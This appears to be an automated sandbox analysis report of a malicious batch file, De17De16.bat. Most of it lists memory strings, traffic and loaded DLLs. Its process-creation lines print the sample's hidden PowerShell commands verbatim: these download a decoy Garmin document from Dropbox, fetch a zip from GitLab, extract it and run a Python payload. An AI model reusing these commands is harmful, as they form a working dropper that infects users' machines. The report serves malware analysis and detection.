                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/page_success/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/pithos/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/playlist/
                  Source: powershell.exe, 0000000C.00000002.1366318478.0000016310670000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.do
                  Source: powershell.exe, 0000000C.00000002.1385532242.000001632A6A0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/garmin_campaign_information_for_partners_v10.do
                  Source: powershell.exe, 0000000C.00000002.1384475159.000001632A627000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/scl/fi/q2jv8nnxln07zx
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/service_worker.js
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/static/api/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/static/serviceworker/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/v/s/playlist/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropboxstatic.com/static/
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/recaptcha/
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.googletagmanager.com/ns.html
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B205000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.gstatic.com/recaptcha/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.hellofax.com/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.hellosign.com/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.paypal.com/sdk/js
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.recaptcha.net/
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49702 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49723 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49717
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49717 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49702
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49723
                  Source: unknownHTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.7:49702 version: TLS 1.2
                  Source: unknownHTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.7:49717 version: TLS 1.2
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 15_2_00007FFAAC3D101D15_2_00007FFAAC3D101D
                  Source: classification engineClassification label: mal88.troj.evad.winBAT@30/16@3/2
                  Source: C:\Windows\System32\cmd.exeFile created: C:\Users\user\Desktop\tmpJump to behavior
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7340:120:WilError_03
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lt21u3l5.p2a.ps1Jump to behavior
                  Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\De17De16.bat" "
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile read: C:\Users\desktop.iniJump to behavior
                  Source: C:\Windows\System32\chcp.comKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                  Source: unknownProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\De17De16.bat" "
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp.com 437
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe fiNdstr /L /I set "C:\Users\user\Desktop\De17De16.bat"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe fiNdstr /L /I goto "C:\Users\user\Desktop\De17De16.bat"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe fiNdstr /L /I echo "C:\Users\user\Desktop\De17De16.bat"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe fiNdstr /L /I pause "C:\Users\user\Desktop\De17De16.bat"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe fInd
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe find
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx'"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip', 'C:\Users\Public\Document.zip')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\Document\pythonw.exe C:\Users\Public\Document\DLLs\ld_312.pd clickapp"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp.com 437Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe fiNdstr /L /I set "C:\Users\user\Desktop\De17De16.bat"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe fiNdstr /L /I goto "C:\Users\user\Desktop\De17De16.bat"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe fiNdstr /L /I echo "C:\Users\user\Desktop\De17De16.bat"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe fiNdstr /L /I pause "C:\Users\user\Desktop\De17De16.bat"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe fIndJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\find.exe findJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmpJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmpJump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/q2jv8nnxln07fkzxxvzm6/Garmin_Campaign_Information_for_Partners_V10.docx?rlkey=r2rwmqao9egm53biwvt2zwpbv&st=qk880f0g&dl=1', 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user~1\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V10.docx'"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip', 'C:\Users\Public\Document.zip')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command " C:\Users\Public\Document\pythonw.exe C:\Users\Public\Document\DLLs\ld_312.pd clickapp"Jump to behavior
                  Source: C:\Windows\System32\cmd.exeSection loaded: cmdext.dllJump to behavior
                  Source: C:\Windows\System32\chcp.comSection loaded: ulib.dllJump to behavior
                  Source: C:\Windows\System32\chcp.comSection loaded: fsutilext.dllJump to behavior
                  Source: C:\Windows\System32\find.exeSection loaded: ulib.dllJump to behavior
                  Source: C:\Windows\System32\find.exeSection loaded: fsutilext.dllJump to behavior
                  Source: C:\Windows\System32\find.exeSection loaded: ulib.dllJump to behavior
                  Source: C:\Windows\System32\find.exeSection loaded: fsutilext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: apphelp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dlnashext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wpdshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
